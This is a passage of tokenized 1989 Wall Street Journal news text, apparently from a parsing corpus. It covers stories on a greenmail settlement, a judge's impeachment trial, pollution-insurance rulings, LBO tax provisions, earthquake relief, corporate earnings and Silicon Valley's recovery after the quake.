Holdings Inc. agreed to pay to settle a similar suit in July . +That settlement represented the first time shareholders were granted a major payment in a greenmail case . +Mr. Steinberg made a $ 59.7 million profit on the sale to Disney of his investment in the company in 1984 . +But lawyers said Mr. Steinberg probably faced much more potential liability because , when he sued Disney during his takeover battle , he filed on behalf of all shareholders . +When Disney offered to pay Mr. Steinberg a premium for his shares , the New York investor did n't demand the company also pay a premium to other shareholders . +When Mr. Trump sued Bally , he sued only on behalf of himself . +Mr. Trump and Bally also appeared to have some leverage in the case because in the state of Delaware , where Bally is incorporated , courts have held that greenmail is often protected by the business-judgment rule . +That rule gives boards of directors wide latitude in deciding how to deal with dissident shareholders . +SENATE HEARS final arguments in impeachment trial of federal judge . +Yesterday , U.S. Judge Alcee Hastings faced his jury -- the full U.S. Senate -- and said , `` I am not guilty of having committed any crime . '' +Seventeen articles of impeachment against the Florida judge , one of the few blacks on the U.S. bench , were approved by the House in August 1988 . +The central charge against Judge Hastings is that he conspired with a Washington lawyer to obtain a $ 150,000 bribe from defendants in a criminal case before the judge , in return for leniency . +He is also accused of lying under oath and of leaking information obtained from a wiretap he supervised . +The Senate 's public gallery was packed with Judge Hastings ' supporters , who erupted into applause after he finished his argument . +Judge Hastings , who was acquitted of similar charges by a federal jury in 1983 , claims he is being victimized and that the impeachment proceedings against him constitute double jeopardy . +But Rep. John Bryant -LRB- D. , Texas -RRB- , the lead counsel for the House managers who conducted a lengthy inquiry into Judge Hastings ' activities , said `` a mountain of evidence points to his certain guilt . '' +The Senate will deliberate behind closed doors today and is scheduled to vote on the impeachment tomorrow . +If the judge is impeached , as is thought likely , he will be removed from office immediately . +However , Judge Hastings has said he will continue to fight and is contemplating an appeal of any impeachment to the U.S. Supreme Court . +COMPANIES SEEKING to make insurers pay for pollution cleanup win court victory . +In a case involving Avondale Industries Inc. and its insurer , Travelers Cos. , the Second U.S. Circuit Court of Appeals in New York ruled in favor of the company on two issues that lawyers say are central to dozens of pollution cases around the country . +Travelers and other insurers have maintained that cleanup costs are n't damages and thus are n't covered under commercial policies . +They also have argued that government proceedings notifying a company of potential responsibility do n't fit the legal definition of a lawsuit ; thus , such governmental proceedings are n't covered by the policies , the insurers say . +The appeals court disagreed on both counts . +Avondale was notified by Louisiana officials in 1986 that it was potentially responsible for a cleanup at an oil-recycling plant . +Avondale asked Travelers to defend it in the state proceeding , but the insurer did n't respond . +The appeals court upheld a district judge 's ruling that the insurer had to defend the company in such proceedings . +The appeals court also said , `` We think an ordinary businessman reading this policy would have believed himself covered for the demands and potential damage claims '' stemming from any cleanup . +`` This decision will have a very considerable impact , '' said Kenneth Abraham , professor of environmental law and insurance law at the University of Virginia , because many commercial insurance policies are issued by companies based in New York . +William Greaney , an attorney for the Chemical Manufacturers Association , said that while other appeals courts have ruled differently on whether cleanup costs are damages , the influence of the appeals court in New York `` will make insurers sit up and listen . '' +He said the decision was the first in which a federal appeals court has ruled whether administrative government proceedings qualify as litigation . +Barry R. Ostrager , an attorney for Travelers , said , `` there are procedural bases on which this case will be appealed further . '' +NEW YORK 'S poor face nearly three million legal problems a year without legal help . +That is the conclusion of a report released by the New York State Bar Association . +The report was based on a telephone survey of 1,250 low-income households across the state , a mail survey of major legal-services programs and on-site interviews with individuals in the field . +`` The report provides detailed documentation of the extent and nature of the problem and indicates how we may want to shape solutions , '' said Joseph Genova , chairman of the committee that oversaw the survey and a partner at the law firm of Milbank , Tweed , Hadley & McCloy . +According to the study , slightly more than 34 % of those surveyed reported having at least one housing problem every year for which they had no legal help . +Nearly 36 % ranked housing problems as their most serious unmet legal need . +Other areas targeted by the survey 's respondents included difficulty obtaining or maintaining public benefits -LRB- 22 % -RRB- , consumer fraud -LRB- 15.4 % -RRB- , and health-care issues -LRB- 15 % -RRB- . +During the 15-month survey , 43 % of all legal-services programs said that at some period they were unable to accept new clients unless they had an emergency . +Mr. Genova said the committee may meet to propose solutions to the problems identified in the study . +PROSECUTOR TO JOIN Gibson Dunn : +Assistant U.S. Attorney Randy Mastro , who headed the government 's racketeering case against the International Brotherhood of Teamsters , will join Gibson , Dunn & Crutcher in its New York office . +Mr. Mastro has been with the New York U.S. attorney 's office for nearly five years . +In 1987 he became deputy chief of the civil division . +Mr. Mastro will do civil litigation and white-collar defense work for Gibson Dunn , which is based in Los Angeles . +FORMER APPLE COMPUTER Inc. general counsel John P. Karalis has joined the Phoenix , Ariz. , law firm of Brown & Bain . +Mr. Karalis , 51 , will specialize in corporate law and international law at the 110-lawyer firm . +Before joining Apple in 1986 , Mr. Karalis served as general counsel at Sperry Corp . +After failing to find a buyer for the Sears Tower in Chicago , Sears , Roebuck & Co. is negotiating with Boston pension fund adviser Aldrich , Eastman & Waltch Inc. to refinance the property for close to $ 850 million , according to people close to the negotiations . +Under the proposed agreement involving the world 's tallest building , Chicago-based Sears would receive about half the money through conventional mortgage financing and the other half as a convertible mortgage . +At the end of the term of the convertible loan , Sears could still own half the building , and AEW could own the other half . +Neither side would comment . +The parties are currently negotiating over who would manage the building , which will be emptied of 6,000 employees from Sears ' merchandise group , which is moving elsewhere . +The new manager will face the daunting task of leasing 1.8 million square feet in a relatively soft Chicago real estate market . +Also , it has not yet been decided exactly how much of the mortgage AEW will be able to convert into equity . +Convertible mortgages have become an increasingly popular way to finance prestigious buildings of late . +In a convertible mortgage , the investor lends the building owner a certain amount in return for the option to convert its interest into equity , usually less than 50 % , at the end of the loan term . +During the term , the lender can either receive a percentage of cash flow , a percentage of the building 's appreciation or a fixed return . +The main advantage of a convertible mortgage is that it is not a sale and therefore does not trigger costly transfer taxes and reappraisal . +Sears said it would put the 110-story tower on the block almost a year ago as part of its anti-takeover restructuring . +But Japanese institutions shied away from bidding on the high-profile tower out of fear their purchase of the property would trigger anti-Japanese sentiment . +Last summer , Sears appeared to have a deal with Canadian developer Olympia & York Developments Ltd . +But that deal fell through in September after it became clear that the sale would lead to a major real estate tax reassessment , raising property taxes , and making it difficult to lease the building at competitive prices . +Real estate industry executives said Sears ' investment banker , Goldman , Sachs & Co. , sought financing in Japan . +However , Japanese authorities apparently were concerned that a refinancing also would attract too much publicity . +Sears then went back to AEW , the Boston pension adviser that had proposed a convertible debt deal during the first round of bids last spring . +AEW has $ 3.5 billion of real estate investments nationwide , according to a spokesman . +Tandy Corp. said it signed a definitive agreement to acquire two units of Datatronic AB of Stockholm for cash . +The amount was n't disclosed . +The electronics maker and retailer previously estimated the sale price at between $ 100 million and $ 200 million for Datatronic 's Victor microcomputer and Micronic hand-held computer subsidiaries . +In addition , Tandy will acquire rights to the Victor and Micronic names for computers . +During 1988 , the Datatronic subsidiaries had combined sales in excess of $ 200 million . +The transaction will give Tandy a well-known European computer brand that includes 2,700 dealers and distributors marketing to medium-sized business and educational institutions . +Closing of the transaction is subject to certain conditions and regulatory approvals , the company said . +Two rules in pending congressional legislation threaten to hinder leveraged buy-outs by raising the price tags of such deals by as much as 10 % . +Wall Street is seething over the rules , which would curtail the tax deductibility of debt used in most LBOs . +The provisions , in deficit-reduction bills recently passed by the House and Senate , could further cool the takeover boom that has been the driving force behind the bull market in stocks for much of the 1980s , some tax experts and investment bankers argue . +Indeed , some investment bankers have already started restructuring deals to cope with the expected rules . +Wall Street has all but conceded on the issue and is now lobbying for the less onerous Senate version of one of the provisions . +At issue is the deductibility of certain junk bonds that are used in most LBOs . +Such high-yield debt is similar to a zero-coupon bond in that it is sold at a discount to face value , with interest accruing instead of being paid to the holder . +Under current rules , that accrued interest is deductible by the company issuing the debt . +The House version of the legislation would kill that deduction , and label any such debt as equity , which is n't deductible . +The less-rigorous Senate version would defer the deductibility for roughly five years . +`` You see these in just about every LBO , '' said Robert Willens , senior vice president in charge of tax issues at Shearson Lehman Hutton Inc. in New York . +`` It becomes a source of cash '' for the company making the LBO because it gets a deduction and does n't have to repay the debt for several years . +Typically , Mr. Willens estimates , this type of debt makes up 15 % to 20 % of the financing for LBOs . +These types of bonds have been used in buy-outs of companies such as RJR Nabisco Inc. , Storer Communications Inc. and Kroger Co . +A second provision passed by the Senate and House would eliminate a rule allowing companies that post losses resulting from LBO debt to receive refunds of taxes paid over the previous three years . +For example , if a company posted a loss of $ 100 million from buy-out interest payments , the existing rule would allow the concern to be able to receive a refund from the tax it paid from 1986 through 1989 , when it may have been a profitable public company . +But that rule is being virtually overlooked by Wall Street , which is concentrating on coping with the deduction issue . +`` Prices for LBOs have to come down if you do n't have that feature , '' argued Lawrence Schloss , managing director for merchant banking at Donaldson , Lufkin & Jenrette Securities Corp. in New York . +Several Wall Street officials say the proposed legislation already is having an impact . +An investment group led by Chicago 's Pritzker family recently lowered a $ 3.35 billion bid for American Medical International , Beverly Hills , Calif. , because of the threat of the legislation . +Moreover , one investment banker , who requested anonymity , said his firm did n't raise the ante for a target company earlier this month after a stronger bid emerged from a public company that was n't concerned about the financing provision . +`` We would have paid more if we thought that law was n't going to pass , '' he said . +One possible solution for Wall Street is to increase the equity part of the transaction -- that is , give lenders a bigger stake in the surviving company rather than just interest payments . +That would force the buy-out firm and the target company 's management to reduce their level of ownership . +`` The pigs in the trough may have to give a little bit of the slop back and then the deal can go through , '' said Peter C. Canellos , tax partner at Wachtell , Lipton , Rosen & Katz . +Another solution , said a tax lawyer who requested anonymity , is for firms to use convertible bonds that sell at a discount . +Since they have a lower interest rate , they would n't fall under the junk-bond category that would lose its deductibility . +The House version of the bill would make debt non-deductible if it pays five percentage points above Treasury notes , has at least a five-year maturity and does n't pay interest for at least one year out of the first five . +The bill would then declare that the debt is equity and therefore is n't deductible . +The Senate bill would only deny the deduction until interest is actually paid . +Currently , even though the issuer does n't pay tax , the debt holder is taxed on the accrued interest . +But those holders are often foreign investors and tax-exempt pension funds that do n't pay taxes on their holdings . +The Senate estimates that its version of the provision would yield $ 17 million the first year and a total of $ 409 million over five years . +The House version would raise slightly more . +Even if Wall Street finds ways around the new rules , a Senate aide contends LBOs will become somewhat more difficult . +`` There 's no question it will make LBOs more expensive , '' he said . +`` The interest deduction was the engine that made these things more productive . +The average publicly offered commodity fund fell 4.2 % in September , largely because of the volatile markets in foreign currencies , according to Norwood Securities . +The firm said that losers outnumbered gainers by more than three to one among the 122 funds it tracks . +For the first nine months of the year , Norwood said the average fund has lost 3.3 % . +The government moved aggressively to open the spigots of federal aid for victims of the California earthquake , but its reservoir of emergency funds must be replenished soon if the aid is to continue . +President Bush signed a disaster declaration covering seven Northern California counties . +The declaration immediately made the counties eligible for temporary housing , grants and low-cost loans to cover uninsured property losses . +In addition , an unusually wide array of federal agencies moved to provide specialized assistance . +The Department of Housing and Urban Development prepared to make as many as 100 vacant houses available for those left homeless , the Agriculture Department was set to divert food from the school-lunch program to earthquake victims , and the Pentagon was providing everything from radio communications to blood transfusions to military police for directing traffic . +But the pool of federal emergency-relief funds already is running low because of the heavy costs of cleaning up Hurricane Hugo , and Congress will be under pressure to allocate more money quickly . +In Hugo 's wake , Congress allocated $ 1.1 billion in relief funds , and White House spokesman Marlin Fitzwater said $ 273 million of that money remains and could be diverted for quick expenditures related to the earthquake . +Now , though , enormous costs for earthquake relief will pile on top of outstanding costs for hurricane relief . +`` That obviously means that we wo n't have enough for all of the emergencies that are now facing us , and we will have to consider appropriate requests for follow-on funding , '' Mr. Fitzwater said . +The federal government is n't even attempting yet to estimate how much the earthquake will cost it . +But Mr. Fitzwater said , `` There will be , I think quite obviously , a very large amount of money required from all levels of government . '' +In Congress , lawmakers already are looking for ways to add relief funds . +Money could be added to a pending spending bill covering the Federal Emergency Management Agency , which coordinates federal disaster relief . +More likely , relief funds could be added to an omnibus spending bill that Congress is to begin considering next week . +But it is n't just Washington 's relief dollars that are spread thin ; its relief manpower also is stretched . +FEMA still has special disaster centers open to handle the aftermath of Hugo , and spokesman Russell Clanahan acknowledged that `` we 're pretty thin . '' +Mr. Clanahan says FEMA now possibly may have the heaviest caseload in its history . +To further complicate relief efforts , the privately funded American Red Cross also finds itself strapped for funds after its big Hugo operation . +`` It 's been a bad month money-wise and every other way , '' said Sally Stewart , a spokeswoman for the Red Cross . +`` It just makes it a little rough when you have to worry about the budget . '' +The Red Cross has opened 30 shelters in the Bay area , serving 5,000 people . +Twenty-five trucks capable of cooking food were dispatched from other states . +All the precise types of federal aid that will be sent to California wo n't be determined until state officials make specific requests to FEMA , agency officials said . +And in the confusion after the earthquake , `` the information flow is a little slow coming in from the affected area , '' said Carl Suchocki , a FEMA spokesman . +Still , some aid is moving westward from Washington almost immediately . +HUD officials said they will make available as many as 100 Bay area houses that are under HUD loans but now are vacant after the houses have been inspected to ensure they are sound . +Additional housing vouchers and certificates will be made available , officials said , and some housing and community-development funds may be shifted from other programs or made available for emergency use . +Another federal agency not normally associated with disaster relief -- the Internal Revenue Service -- moved quickly as well . +The IRS said it will waive certain tax penalties for earthquake victims unable to meet return deadlines or make payments because of the quake 's devastation . +The agency plans to announce specific relief procedures in the coming days . +And the Treasury said residents of the San Francisco area will be able to cash in savings bonds even if they have n't held them for the minimum six-month period . +One advantage that federal officials have in handling earthquake relief is the large number of military facilities in the San Francisco Bay area , facilities that provide a ready base of supplies and workers . +Even before the full extent of the devastation was known , Defense Secretary Dick Cheney ordered the military services to set up an emergency command center in the Pentagon and prepare to respond to various FEMA requests for assistance . +By yesterday afternoon , Air Force transport planes began moving additional rescue and medical supplies , physicians , communications equipment and FEMA personnel to California . +A military jet flew a congressional delegation and senior Bush administration officials to survey the damage . +And the Pentagon said dozens of additional crews and transport aircraft were on alert `` awaiting orders to move emergency supplies . '' +Two Air Force facilities near Sacramento , and Travis Air Force Base , 50 miles northeast of San Francisco , were designated to serve as medical-airlift centers . +Some victims also were treated at the Letterman Army Medical Center in San Francisco and at the Naval Hospital in Oakland . +In addition , 20 military police from the Presidio , a military base in San Francisco , are assisting with traffic control , and a Navy ship was moved from a naval station at Treasure Island near the Bay Bridge to San Francisco to help fight fires . +To help residents in Northern California rebuild , FEMA intends to set up 17 disaster assistance offices in the earthquake area in the next several days and to staff them with 400 to 500 workers from various agencies , said Robert Volland , chief of the agency 's individual assistance division . +At these offices , earthquake victims will be helped in filling out a one-page form that they will need to qualify for such federal assistance as home-improvement loans and to repair houses . +And federal officials are promising to move rapidly with federal highway aid to rebuild the area 's severely damaged road system . +The Federal Highway Administration has an emergency relief program to help states and local governments repair federally funded highways and bridges seriously damaged by natural disasters . +The account currently has $ 220 million . +And though federal law dictates that only $ 100 million can be disbursed from that fund in any one state per disaster , administration officials expect Congress to move in to authorize spending more now in California . +To get that money , states must go through an elaborate approval process , but officials expect red tape to be cut this time . +Keith Mulrooney , special assistant to Federal Highway Administrator Thomas Larson , also said that after the 1971 San Fernando earthquake in Southern California , the state set tougher standards for bridges , and with federal aid , began a program to retrofit highways and bridges for earthquake hazards . +The first phase of the program has been completed , but two other phases are continuing . +The two major structures that failed Tuesday night , he said , were both built well before the 1971 earthquake -- the San Francisco Bay Bridge , completed in the 1930s , and the section of I-880 , built in the 1950s . +The I-880 section had completed the first phase of the retrofitting . +Laurie McGinley contributed to this article . +FARMERS REAP abundant crops . +But how much will shoppers benefit ? +The harvest arrives in plenty after last year 's drought-ravaged effort : The government estimates corn output at 7.45 billion bushels , up 51 % from last fall . +Soybean production swells 24 % . +As a result , prices paid to farmers for the commodities , which are used in products as diverse as bubble gum and chicken feed , plummet 20 % to 33 % . +But do n't expect too much in the way of price breaks soon at the supermarket . +Economists expect consumer food prices to jump 5.5 % this year to the highest level since 1980 and up from last year 's 4.1 % rise . +Next year may see a drop of one percentage point . +Beef prices , hovering near records since the drought , could drop in earnest this winter if ranchers expand herds . +Lower feed prices may help animals eat more cheaply , but humans have to factor in an expensive middleman : the processor . +Food companies probably wo n't cut their prices much , blaming other costs . +`` Labor takes the biggest single chunk out of the ` food dollar , ' '' says Frank Pankyo of the Food Institute . +Stokely says stores revive specials like three cans of peas for 99 cents . +Two cans cost 89 cents during the drought . +IF IN VITRO fertilization works , it usually does so after only a few tries . +Costly infertility problems and procedures proliferate as aging baby boomers and others decide to have children -- now . +It 's estimated that one in six couples experiences infertility , and in 1987 , Americans spent about $ 1 billion to fight the problem . +Only about five states now offer some form of insurance coverage , but more are expected . +A letter in the New England Journal of Medicine notes that while technology offers `` almost endless hope ... when to stop has become a difficult question ... . '' +The authors , from Boston 's Beth Israel Hospital , say that 84 % of the 50 births they followed occurred after only two in vitro cycles . +It adds that births were `` extremely unlikely '' after the fourth cycle and concludes couples who do n't achieve a pregnancy after four to six procedures should be advised that success is unlikely . +Some couples continue to try . +`` Such determination may translate into extreme physical , emotional and financial costs , '' the letter warns . +MARKET MOVES , these managers do n't . +Only three of the 25 corporate pension fund managers attending a Lowry Consulting Group client conference say they plan to change the asset allocation mix in their portfolios because of the market drop . +WORLD ODDITIES come alive in a multimedia version of the Guinness Book of Records . +The $ 99 CD-ROM disk -LRB- it can only be played on an Apple Macintosh computer at the moment -RRB- combines animation , music and sound . +Among the Guinness disk 's wonders : the world 's loudest recorded belch . +ARTY FAX from David Hockney begins a tongue-in-cheek exhibit today at New York 's Andre Emmerich Gallery . +One of the artist 's earliest Fax works was `` Little Stanley Sleeping , '' a portrait of his dog . +PACS GIVE and receive in a debatable duet with employees ' favored charities . +The Federal Election Commission clears corporate plans to donate to an employee 's chosen charity in exchange for the worker 's gift to the company political action committee . +Latest approvals : Bell Atlantic 's New Jersey Bell and General Dynamics . +Companies get more political clout plus a possible tax-deductible charitable donation -- so far no word from the IRS on deductibility . +Detroit Edison , the plan pioneer , generated $ 54,000 in matching funds this year , up from $ 39,000 in 1988 . +But the utility may not continue next year . +`` We 're on a tight budget , '' says Detroit Edison 's Carol Roskind . +Two election commission members opposed the matching plans . +Scott E. Thomas says the plans give employees `` a bonus in the form of charitable donations made from an employer 's treasury '' in exchange for the political donation . +`` The U.S. government could be , in effect , subsidizing political contributions to corporate PACs , '' he says . +New Jersey Bell awaits state clearance . +Despite federal approval , General Dynamics says it decided it wo n't go ahead with the matching program . +CHRISTMAS SHOPPERS find a helping hand from some catalog companies . +Blunt Ellis & Loewi estimates direct mail catalog sales rose to $ 12 billion last year . +And while it 's too soon to tell how sales will fare in the important 1989 Christmas season , some companies take steps to ease the usual 11th-hour crush . +Spiegel promises a `` Guaranteed Christmas , '' with a pledge to deliver goods before Christmas if ordered by Dec. 20 . +And , for an extra $ 6 , Land 's End will deliver orders within two days ; customers can designate the day . +Spiegel , which also owns Eddie Bauer and Honeybee , says that since 1987 , sales have doubled during the week before Christmas . +An L.L. Bean spokeswoman notes : `` People are just used to living in a last-minute society . '' +Blunt Ellis , a Milwaukee brokerage firm , says part of the reason catalog sales grow in popularity is because consumers have more money but less time to spend it . +L.L. Bean hires about 2,700 workers for the season rush , about 300 more than last year ; Land 's End hires 2,000 . +BRIEFS : +Guarana Antarctica , a Brazilian soft drink , is brought to the U.S. by Amcap , Chevy Chase , Md . +New Product News says the beverage `` looks like ginger ale , tastes a little like cherries and smells like bubble gum . '' ... +`` Amenities '' planned for Chicago 's new Parkshore Tower apartments include an on-site investment counselor . +Four years ago , Pittsburgh was designated the most-livable U.S. city by Rand McNally 's Places Rated Almanac , and the honor did wonders to improve Pittsburgh 's soot-stained image . +`` People asked , is it really true ? '' says Maury Kelley , vice president , marketing services , for Beecham Products USA , a maker of health and personal-care products that used the ranking in its recruiting brochure . +Yuba City , Calif. , meanwhile , ranked dead last among 329 metro areas . +Unamused , residents burned Rand McNally books and wore T-shirts that said : `` Kiss my Atlas . '' +The almanac will be making new friends and enemies on Oct. 27 , when an updated version will be released . +Pittsburgh figures it will be dethroned but plans to accept its ouster graciously . +The city 's Office of Promotion plans media events to welcome its successor . +`` We 're encouraging a graceful transition , '' says Mary Kay Poppenberg , the organization 's president . +`` Our attitude is that -LRB- the ranking -RRB- is like Miss America . +Once you 're Miss America , you 're always Miss America . '' +Tell that to Atlanta , which Pittsburgh replaced as the most-livable city in 1985 . +Many Atlantans thought Pittsburgh was an unworthy heir . +A columnist in the Atlanta Journal and Constitution wrote : `` Who did the research for this report ? +Two guys from Gary , Ind. ? '' +Not so . +Co-authors David Savageau and Richard Boyer , live in Gloucester , Mass. , and Asheville , N.C. , respectively . +`` Atlanta , '' Mr. Savageau sniffs , `` has unrealistic pretensions to world-class status . '' +The new edition lists the top 10 metropolitan areas as Anaheim-Santa Ana , Calif. ; Boston ; Louisville , Ky. ; Nassau-Suffolk , N.Y. ; New York ; Pittsburgh ; San Diego ; San Francisco ; Seattle ; and Washington . +Mr. Savageau says earthquake or not , San Francisco makes the list . +But attention also rivets on who finishes last , and Pine Bluff , Ark. -- which finished third to last in 1981 and second to last in 1985 -- is certainly in the running . +`` I hate to dignify the publication by commenting on the obscene rating , '' Mayor Carolyn Robinson says , adding that cities have no way to rebut the book . +`` It 's like fighting your way out of a fog . +You do n't know which way to punch . +Northrop Corp. 's third-quarter net income fell 25 % to $ 21.5 million , or 46 cents a share , while General Dynamics Corp. reported nearly flat earnings of $ 76.5 million , or $ 1.83 a share . +Los Angeles-based Northrop recorded an 8.2 % decline in sales as B-2 Stealth bomber research-and-development revenue continued to ebb and high costs on some other programs cut into profit . +The aerospace concern earned $ 28.8 million , or 61 cents a share , a year earlier . +Sales in the latest period were $ 1.25 billion , down from $ 1.36 billion in the 1988 quarter . +At St. Louis-based General Dynamics , sales rose 10 % to $ 2.52 billion from $ 2.29 billion . +It earned $ 76.4 million , or $ 1.82 a share , in the 1988 quarter . +General Dynamics credited significant earnings gains in its general aviation and material service segments , an earnings recovery in submarine operations , and higher military aircraft sales . +Northrop said sales fell because of the decline in B-2 development dollars from the government as the plane continues its initial production stage and because fewer F\/A-18 fighter sections are being produced in its subcontract work with prime contractor McDonnell Douglas Corp . +In composite trading on the New York Stock Exchange , Northrop shares closed at $ 21.125 , off 25 cents . +General Dynamics closed at $ 54.875 , up 50 cents . +Northrop , which since early 1988 has declined to accept fixed-price contracts for research and development , said earnings were hurt by excessive costs on a number of such contracts won years ago . +Among them were the ALQ-135 electronic countermeasures system for the F-15 fighter . +Northrop 's interest expense also soared to $ 35 million from $ 17 million a year ago . +It said debt remained at the $ 1.22 billion that has prevailed since early 1989 , although that compared with $ 911 million at Sept. 30 , 1988 . +The backlog of undelivered orders at Northrop on Sept. 30 was $ 4.68 billion , down from $ 5.16 billion a year earlier . +For the nine months , Northrop reported a net loss of $ 46.9 million , or $ 1 a share , compared with profit of $ 190.3 million , or $ 4.05 a share , in 1988 . +Sales dipped 3.6 % to $ 3.92 billion from $ 4.07 billion . +At General Dynamics , factors reducing earnings in the military aircraft segment included higher levels of cost-sharing in development of the Advanced Tactical Fighter , and the high cost of an advanced version of the F-16 fighter . +F-16 deliveries also have fallen `` slightly behind schedule , '' although a return to the previous schedule is expected in 1990 , the company said . +Backlog at General Dynamics rose to $ 16.5 billion from $ 15.8 billion . +Its interest expense surged to $ 21.5 million from $ 12.4 million . +For the nine months , General Dynamics earned $ 210.3 million , or $ 5.03 a share , up marginally from $ 208.8 million , or $ 4.97 a share , on a 4.9 % rise in sales to $ 7.41 billion from $ 7.06 billion . +Lotus Development Corp. reported a surprisingly strong 51 % increase in third-quarter net income on a 32 % sales gain , buoyed by strong demand for a new version of its 1-2-3 computer spreadsheet . +The results topped analysts ' expectations and the earnings growth of competitors , prompting traders to all but forget the product-launch delays that bogged down the company for much of the past two years . +Yesterday , in heavy , national over-the-counter trading , Lotus shares rose to $ 32.50 , up $ 1.25 apiece , capping a threemonth run-up of more than 40 % . +Lotus said net rose to $ 23 million , or 54 cents a share , on sales of $ 153.9 million . +A year ago , net was $ 14.3 million , or 31 cents a share , on sales of $ 116.8 million . +For the nine months , net of $ 38.5 million , or 92 cents a share , trailed the year earlier 's $ 49.9 million , or $ 1.08 a share . +Sales rose to $ 406 million from $ 356 million the year earlier . +In the first half , Lotus struggled to keep market share with costly promotions while customers awaited the launch of 1-2-3 Release 3 , the upgraded spreadsheet software . +Lotus 's results were about 10 % higher than analysts ' average expectations and compared favorably with the 36 % earnings rise reported a day earlier by rival Microsoft Corp. of Redmond , Wash . +The company said results were bolstered by upgrades to Release 3 by previous customers and improved profit margins , the result of manufacturing-cost controls . +Rick Sherlund , a Goldman Sachs analyst , said Lotus had upgrade revenue of about $ 22 million in the quarter , twice what he had expected . +Also , he estimated unit shipments of 1-2-3 in all its forms were about 315,000 , up 7 % from 1988 's quarterly average . +Demand for the new version was enabling Lotus to raise prices with distributors and to hold market share against Microsoft and other competitors that tried to exploit the earlier delays in Release 3 's launch , Mr. Sherlund added . +He estimated that 1-2-3 outsold Microsoft 's Excel spreadsheet by four-to-one in the quarter , and held a 70 % or better share of the spreadsheet market . +Silicon Valley heaved a sigh of relief yesterday . +Though details were sketchy in the aftermath of the violent earthquake that shook the high-tech corridor along with the rest of the San Francisco Bay area , a spot check of computer makers turned up little , if any , potentially lingering damage to facilities or fabrication equipment . +Analysts and corporate officials said they expected practically no long-term disruption in shipments from the Valley of either hardware or software goods . +Intel Corp. , Advanced Micro Devices Inc. and National Semiconductor Corp. were all up and running yesterday , though many workers were forced to stay home because of damaged roadways ; others elected to take the day off . +`` These systems are more rugged than many people would believe , '' said Thomas Kurlak , who tracks the computer industry for Merrill Lynch Research . +`` It 's not the end of the world if you shake them up a little bit . '' +Other companies , including International Business Machines Corp. and Hewlett-Packard Co. , completely idled their operations because of Tuesday evening 's temblor , which registered 6.9 on the Richter scale . +Personnel spent the morning inspecting buildings for structural weaknesses , mopping up water from broken pipes and clearing ceiling tiles and other debris from factory floors . +Still , many were confident that `` in a day or two , everything should be back to normal , '' according to a spokeswoman for the Semiconductor Industry Association , based in Cupertino . +IBM , for instance , said it anticipates returning to a normal work schedule by the weekend at its San Jose plant , which puts out disk drives for the 3090 family of mainframes . +A Hewlett-Packard spokeswoman said that , while `` things are a big mess , '' some 18,000 Valley employees have been called back to work today . +Apple Computer added that it was being `` cautiously optimistic , '' despite not yet closely eyeballing all of its 50 buildings in the region . +Even the carefully calibrated machinery in its giant Fremont plant , to the north of the Valley , was believed to be undamaged . +Sun Microsystems Inc. and Tandem Computers Inc. also signaled that they should recover quickly . +Digital Equipment Corp. , with major facilities in Santa Clara , Cupertino , Palo Alto and Mountain View , said that all of its engineering and manufacturing sites had reported to corporate headquarters in Maynard , Mass. , Tuesday night . +None sustained `` significant '' damage , a spokesman said , adding that `` the delicate manufacturing process machines were checked and were all found to be operating normally . '' +For many companies , of course , there is still a slew of nagging problems to grapple with , some of which have the potential to become quite serious . +For example , a spokesman for Advanced Micro Devices said the Sunnyvale chip maker is worried about blackouts . +A sudden surge or drop in electric power could ruin integrated circuits being built . +But , given what might have happened to the fragile parts that are at the heart of the microelectronics business , the bulk of Valley companies seemed to be just about shouting hosannas . +Several factors apparently spared the Valley -- a sprawling suburban stretch from San Jose to Palo Alto -- from the kind of impact felt in San Francisco , an hour 's drive north . +For one thing , buildings there tend to be newer and , thus , in step with the latest safety codes . +Also , the soil in the Valley is solid , unlike the landfill of San Francisco 's downtown Marina District , which was hit with fires and vast destruction . +In addition , some microelectronics companies said they were prepared for tremulous conditions like Tuesday 's . +Their machine tools are even bolted to the shop floor . +Intel said that over the past decade , it has installed computer sensors and shutoff valves , sensitive to the shake of an earthquake , in the pipes that snake through its plants . +Like other large Valley companies , Intel also noted that it has factories in several parts of the nation , so that a breakdown at one location should n't leave customers in a total pinch . +That 's certainly good news for such companies as Compaq Computer Corp. , Houston , which has only a four-day supply of microprocessors from the Valley on hand because of a just-in-time manufacturing approach that limits the buildup of inventory . +Compaq said it foresees no difficulties in obtaining parts in the immediate future . +Computer makers were scrambling to help customers recover from the disaster . +Digital Equipment has set up disaster-recovery response centers in Dallas , Atlanta and Colorado Springs , Colo . +These units were handling calls both from people in the San Francisco area and from computers themselves , which are set to dial Digital automatically when trouble arises . +They then run remotely controlled self-diagnostic programs . +Digital also said it has dispatched teams of technicians to California . +Meanwhile , several other major installations around the Valley -- America 's center of high-tech -- said they , too , fared as well as could be expected . +Lawrence Livermore National Laboratory , where the Energy Department tests and conducts research on nuclear weapons , had only `` superficial damage , '' a spokesman said . +At Lockheed Corp. 's missiles and space systems group in Sunnyvale , about 40 miles south of San Francisco , workers were asked to head to work yesterday after it was realized that `` there were no show-stoppers '' in the 150-plus buildings on its one-square-mile campus . +Several engineering and research offices needed closer scrutiny to make sure they were n't in danger of crumbling , but `` the bulk of the place is in pretty good shape , '' an official said . +One of Lockheed 's most lucrative sectors -- accounting for more than half the aerospace company 's $ 10.59 billion in sales in 1988 -- the missiles and space group is the prime Pentagon contractor on the Trident II ballistic missile . +It also generates pieces of the missile shield called the Strategic Defense Initiative . +Fortunately , the Hubble Space Telescope -- set to be launched on the shuttle next year in a search for distant solar systems and light emitted 14 billion years ago from the farthest reaches of the universe -- was moved from Sunnyvale to the Kennedy Space Center in Florida at the beginning of October . +John R. Wilke contribued to this article . +Michael Maynard offered the world a faster way to break eggs . +As thanks , the egg industry tried to break him . +And the egg producers have done a pretty good job . +They tried to put Mr. Maynard out of business by an act of Congress . +Egg-industry lobbying helped persuade six states to ban Mr. Maynard 's automatic egg-breaking machine because of fears over salmonella . +His company , Misa Manufacturing Inc. , was forced to seek protection from creditors under federal bankruptcy law in 1987 and has since been liquidated . +Monthly sales of his Egg King machine -- which he now is marketing through a new company -- have sunk to about half a dozen from a peak of 75 , says the 46-year-old businessman . +Mr. Maynard is n't the first entrepreneur to bump up against entrenched interests . +But his case is notable both for the scale of the fight -- it is n't often that a congressional hearing is held to determine whether one small businessman is a threat to the republic -- and for what it tells about the pitfalls of marketing a new product . +Now one might ask why people who sell eggs would fight someone who is trying to make it easier to crack them . +Part of the answer lies in the nature of the industry . +Many larger egg producers are also egg processors , who crack , inspect , and sanitize billions of eggs , turning them into powdered , liquified or frozen egg products . +However , dozens of bakers , restaurant 